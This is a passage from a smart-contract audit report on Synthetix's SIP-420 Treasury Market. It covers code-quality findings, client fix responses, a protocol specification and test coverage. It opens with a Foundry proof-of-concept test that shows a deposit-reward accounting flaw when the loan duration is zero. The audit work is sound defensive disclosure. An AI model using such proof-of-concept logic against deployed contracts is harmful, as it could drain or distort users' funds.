</span></span><span class="line"><span class="cl"> <span class="n">dcr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">ITreasuryMarket</span><span class="p">.</span><span class="n">DepositRewardConfiguration</span><span class="p">({</span>
</span></span><span class="line"><span class="cl"> <span class="n">token</span><span class="o">:</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="n">power</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">duration</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">percent</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mi">2</span> <span class="kc">ether</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">valueRatioOracle</span><span class="o">:</span> <span class="n">NodeModule</span><span class="p">(</span><span class="mh">0x83A0444B93927c3AFCbe46E522280390F748E171</span><span class="p">).</span><span class="n">registerNode</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="n">NodeDefinition</span><span class="p">.</span><span class="n">NodeType</span><span class="p">.</span><span class="n">CHAINLINK</span><span class="p">,</span> <span class="nb">abi</span><span class="p">.</span><span class="nb">encode</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">mockAggregator</span><span class="p">),</span> <span class="kt">uint256</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="kt">uint8</span><span class="p">(</span><span class="mi">18</span><span class="p">)),</span> <span class="n">parents</span>
</span></span><span class="line"><span class="cl"> <span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="n">penaltyStart</span><span class="o">:</span> <span class="mi">1</span><span class="p">.</span><span class="mi">0</span> <span class="kc">ether</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">penaltyEnd</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mi">5</span> <span class="kc">ether</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="n">dcr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ITreasuryMarket</span><span class="p">.</span><span class="n">DepositRewardConfiguration</span><span class="p">({</span>
</span></span><span class="line"><span class="cl"> <span class="n">token</span><span class="o">:</span> <span class="kt">address</span><span class="p">(</span><span class="n">usdToken</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="n">power</span><span class="o">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">duration</span><span class="o">:</span> <span class="mi">86400</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">percent</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mi">2</span> <span class="kc">ether</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">valueRatioOracle</span><span class="o">:</span> <span class="n">NodeModule</span><span class="p">(</span><span class="mh">0x83A0444B93927c3AFCbe46E522280390F748E171</span><span class="p">).</span><span class="n">registerNode</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="n">NodeDefinition</span><span class="p">.</span><span class="n">NodeType</span><span class="p">.</span><span class="n">CHAINLINK</span><span class="p">,</span> <span class="nb">abi</span><span class="p">.</span><span class="nb">encode</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">mockAggregator</span><span class="p">),</span> <span class="kt">uint256</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="kt">uint8</span><span class="p">(</span><span class="mi">18</span><span class="p">)),</span> <span class="n">parents</span>
</span></span><span class="line"><span class="cl"> <span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="n">penaltyStart</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span> <span class="kc">ether</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="n">penaltyEnd</span><span class="o">:</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span> <span class="kc">ether</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">vm</span><span class="p">.</span><span class="n">prank</span><span class="p">(</span><span class="n">market</span><span class="p">.</span><span class="n">owner</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">setDepositRewardConfigurations</span><span class="p">(</span><span class="n">dcr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="n">accountId</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">4</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kt">uint256</span> <span class="n">availableDepositRewards</span> <span class="o">=</span> <span class="n">market</span><span class="p">.</span><span class="n">availableDepositRewards</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="n">accountId</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="n">accountId</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">assertEq</span><span class="p">(</span><span class="n">market</span><span class="p">.</span><span class="n">availableDepositRewards</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">)),</span> <span class="n">availableDepositRewards</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre><h3 id="recommendation-21">Recommendation</h3>
<p><code>_repaymentPenalty()</code> should set <code>loanCompletionPercentage</code> to <code>1 ether</code> when the loan duration is zero.</p>
<h3 id="client-response-21">Client response</h3>
<p>Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/bf643ad495d761dce163ddd6327a7c67a46bcc87">bf643ad</a>.</p>
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
<p>Code improvement suggestions without security implications are listed below.</p>
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>IO-SIP420-015</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L189">VaultModule.sol#L189</a></td>
<td>The comment does not match the code, as <code>updateAccountDebt()</code> does not perform any collateralization ratio checks.</td>
</tr>
<tr>
<td>IO-SIP420-016</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol#L28">ITreasuryMarket.sol#L28</a></td>
<td>Incorrect spelling, <code>c-ratioi</code> should be <code>c-ratio</code>.</td>
</tr>
<tr>
<td>IO-SIP420-017</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L302">TreasuryMarket.sol#L302</a></td>
<td>Incomplete comment.</td>
</tr>
<tr>
<td>IO-SIP420-018</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L137">TreasuryMarket.sol#L137</a></td>
<td>Incomplete comment.</td>
</tr>
<tr>
<td>IO-SIP420-019</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol">ITreasuryMarket.sol</a></td>
<td><code>adjustLoan()</code> function not documented in interface</td>
</tr>
<tr>
<td>IO-SIP420-020</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L272">TreasuryMarket.sol#L272</a></td>
<td>Consider renaming the <code>targetDebt</code> parameter of the <code>repaymentPenalty()</code> function to <code>targetLoan</code> to avoid confusion with the other <code>targetDebt</code> variable used elsewhere in the contract</td>
</tr>
<tr>
<td>IO-SIP420-021</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
<td>The <code>_verifyPoolCratio()</code> is not present in <code>migrateDelegation()</code>. This would allow an account to migrate to a liquidatable vault.</td>
</tr>
<tr>
<td>IO-SIP420-022</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L154">TreasuryMarket.sol#L154</a></td>
<td>When calling saddle on an account that has not delegated any collateral to the vault, a division by zero revert will be encountered. A more suitable revert should be used instead.</td>
</tr>
<tr>
<td>IO-SIP420-023</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L182">TreasuryMarket.sol#L182</a></td>
<td>Introduce a variable to store the result of <code>targetDebt - accountDebt</code>.</td>
</tr>
<tr>
<td>IO-SIP420-024</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
<td>Refactor <code>repaymentPenalty</code> and <code>_loanAmount</code> to have pure internal implementations. This will significantly reduce the number of repeated <code>SLOADs</code> and allow more thorough modeling of the calculations.</td>
</tr>
<tr>
<td>IO-SIP420-033</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket.sol#L440-L446</a></td>
<td>An event should be emitted on overriding a loan duration through <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket::setOverrideLoanDuration()</a> similar to other setter functions in the contract.</td>
</tr>
<tr>
<td>IO-SIP420-034</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol">ITreasuryMarket.sol</a></td>
<td>The errors and events related to deposit rewards can be removed from <code>ITreasuryMarket.sol</code>.</td>
</tr>
<tr>
<td>IO-SIP420-035</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L206-L207">TreasuryMarket.sol#L206-L207</a></td>
<td>With the removal of the deposit rewards <code>else</code> branch, the two <code>if</code> statements on <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L206-L207">TreasuryMarket.sol#L206-L207</a> can be combined to improve code readability.</td>
</tr>
<tr>
<td>IO-SIP420-036</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L219">TreasuryMarket.sol#L219</a></td>
<td><code>config.amounts.length</code> can be stored in a memory variable prior to the <code>for</code> loop on <a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L217">TreasuryMarket.sol#L217</a> to avoid doing an SLOAD on every loop</td>
</tr>
<tr>
<td>IO-SIP420-037</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L376-L415">TreasuryMarket.sol#L376-L415</a></td>
<td><code>auxTokenInfo[accountId]</code> should be loaded into a memory variable at the beginning of <code>TreasuryMarket::reportAuxToken()</code>. All updates can then be performed in memory before being committed back to storage at the end of the function.</td>
</tr>
<tr>
<td>IO-SIP420-038</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L378">TreasuryMarket.sol#L378</a></td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L378">TreasuryMarket.sol#L378</a> should revert instead of returning to mitigate against cases where a deposit is made in the staking contract for an account that is not saddled or has no loan.</td>
</tr>
<tr>
<td>IO-SIP420-039</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L678">TreasuryMarket.sol#L678</a></td>
<td>The <code>UpdateAuxTokenRequirement</code> event should be extended to include the <code>resetTime</code> value.</td>
</tr>
<tr>
<td>IO-SIP420-040</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L215">TreasuryMarket.sol#L215</a></td>
<td>The calculation of <code>rewardAmount</code> should make use of the <code>DecimalMath</code> library already used by the contract.</td>
</tr>
<tr>
<td>IO-SIP420-041</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L118">TreasuryMarket.sol#L118</a></td>
<td>The comparison <code>(-artificialDebt > int256(depositedDebt))</code> should be rearranged to improve readability, as shown <a href="https://gist.github.com/iosiro-security/eb2eb21c1c7f5e017012a7c205d84690">here</a></td>
</tr>
<tr>
<td>IO-SIP420-042</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L37">TreasuryMarket.sol#L37</a></td>
<td><code>MIN_DELEGATION_TIME</code> is never used and can be removed. The commented out line of code at L94 should also be removed.</td>
</tr>
<tr>
<td>IO-SIP420-043</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L112">TreasuryMarket.sol#L112</a></td>
<td>The comment at L112 should be moved to the second if block.</td>
</tr>
<tr>
<td>IO-SIP420-044</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
<td>If an account is liquidated, its <code>saddledCollateral[accountId]</code> will not be reset, which could cause issues with saddling and unsaddling. This is extremely unlikely, as the debt ratio of all the accounts should be the same, and it should not be possible to liquidate separate accounts but only the vault. To allow the market to operate if a vault liquidation were to occur, the <code>totalSaddledCollateral</code> and <code>saddledCollateral</code> mappings could be changed to be indexed by the vault epoch.</td>
</tr>
</tbody>
</table>
<h2 id="client-response-22">Client response</h2>
<ul>
<li><strong>IO-SIP420-015</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.</li>
<li><strong>IO-SIP420-016</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-017</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-018</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-019</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.</li>
<li><strong>IO-SIP420-020</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.</li>
<li><strong>IO-SIP420-021</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.</li>
<li><strong>IO-SIP420-022</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-023</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-024</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li><strong>IO-SIP420-033</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b87b0cf3047c562eb8c6506c1bf5ce5bfd97668d">b87b0cf</a>.</li>
<li><strong>IO-SIP420-034</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/1c5e3b385495b8386df8447cdf162ffcff9eef6a">1c5e3b3</a>.</li>
<li><strong>IO-SIP420-035</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/1c5e3b385495b8386df8447cdf162ffcff9eef6a">1c5e3b3</a>.</li>
<li><strong>IO-SIP420-036</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.</li>
<li><strong>IO-SIP420-037</strong>: Will not fix.</li>
<li><strong>IO-SIP420-038</strong>: Synthetix intends to allow non 420 saddlers to stake in the 420 staking contract</li>
<li><strong>IO-SIP420-039</strong>: Will not fix.</li>
<li><strong>IO-SIP420-040</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li><strong>IO-SIP420-041</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li><strong>IO-SIP420-042</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li><strong>IO-SIP420-043</strong>: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li><strong>IO-SIP420-044</strong>: Acknowledged and will fix at a later date, as the required conditions are improbable.</li>
</ul>
<h1 id="specification">Specification</h1>
<p>The following section outlines the system's intended functionality at a high level, based on its implementation. Any perceived points of conflict with the <a href="https://github.com/Synthetixio/SIPs/blob/4f7db44c5113b010976eb90721e28761e211daee/content/sips/sip-420.md">SIP-420</a> specification, or undocumented specification changes since the SIP was written, should be highlighted with the auditing team to determine the source of the discrepancy.</p>
<p>Synthetix introduced the Treasury Market, a new market that allowed users who had delegated collateral to a treasury pool to participate by saddling their accounts. Changes were made to the core system's Vault Module contract to allow existing stakers to migrate their delegation from other pools to the treasury pool and saddle their accounts.</p>
<p>Saddling allowed the protocol to manage any existing debt stakers had through a loan jubilee, where the debt would be forgiven over time, subject to certain conditions. Furthermore, the protocol's treasury could mint USD against the delegated collateral and use it to generate yield for market participants. Consequently, the market's reported debt was based on artificial debt and the market's total deposited collateral value. The artificial debt was primarily set based on a target c-ratio, which is configured through an only-owner function, and rebalanced on actions such as saddling and unsaddling.</p>
<h2 id="saddling-unsaddling--debt-decay">Saddling, unsaddling & debt decay</h2>
<p>Anyone can saddle an account by calling the <code>saddle()</code> function on the Treasury Market contract with the <code>accountId</code>. The function verifies that the associated account has delegated collateral to the Treasury Pool and hence can enter this market. If the account had debt when it was migrated into the Treasury Pool, this debt would also be saddled, with the function verifying that the account's c-ratio is not less than the market's set target c-ratio. Debt can also only be saddled the first time this function is called for an account.</p>
<p>The importance of executing delegate and saddle operations atomically was highlighted during the audit. If the market is rebalanced before a delegator's account has been saddled, the account will unfairly be saddled with a significant loan. Any protocols or frontends integrating with the Treasury Market should take note of this. The Core Contributors confirmed that the Synthetix frontend will use a multicall contract to ensure all actions are executed atomically.</p>
<p>Accounts saddled with debt could have their debt forgiven over time using a polynomial debt decay function. This debt decay would only be applicable if the account had staked a configurable proportion of its debt as sUSD in a treasury rewards staking contract for the duration of the debt decay. The rewards staking contract only allowed deposits, with Synthetix intending to return staked sUSD to the stakers out of band from the protocol's treasury.</p>
<p>Account owners can only unsaddle if their debt has fully decayed and been forgiven or repaid. If they chose to repay their debt before it was fully decayed, a penalty is applied. The penalty is calculated based on the amount of debt that has decayed and a penalty rate.</p>
<h2 id="treasury-yield">Treasury yield</h2>
<p>Synthetix's Treasury can mint USD up to the current artificial debt and use the funds outside of Synthetix to generate yield. The protocol can also deposit USD back into the Treasury Market.</p>
<h2 id="deposit-rewards">Deposit rewards</h2>
<p>The Treasury Market initially included a deposit reward mechanism for accounts saddled with no debt. However, this functionality was later removed in favor of distributing rewards through other mechanisms outside the market.</p>
<h1 id="test-coverage-report">Test coverage report</h1>
<p>The coverage report of the provided tests as of the final day of the audit is given below.</p>
<table>
<thead>
<tr>
<th>File</th>
<th>% Lines</th>
<th>% Statements</th>
<th>% Branches</th>
<th>% Funcs</th>
</tr>
</thead>
<tbody>
<tr>
<td>TreasuryMarket.sol</td>
<td>100.00% (233/233)</td>
<td>100.00% (257/257)</td>
<td>100.00% (41/41)</td>
<td>100.00% (29/29)</td>
</tr>
<tr>
<td>TreasuryStakingRewards.sol</td>
<td>83.33% (10/12)</td>
<td>88.89% (8/9)</td>
<td>100.00% (0/0)</td>
<td>66.67% (2/3)</td>
</tr>
</tbody>
</table>
<p>Overall, the coverage was sufficient for the contracts under review.</p>
</article>
</main>
</div>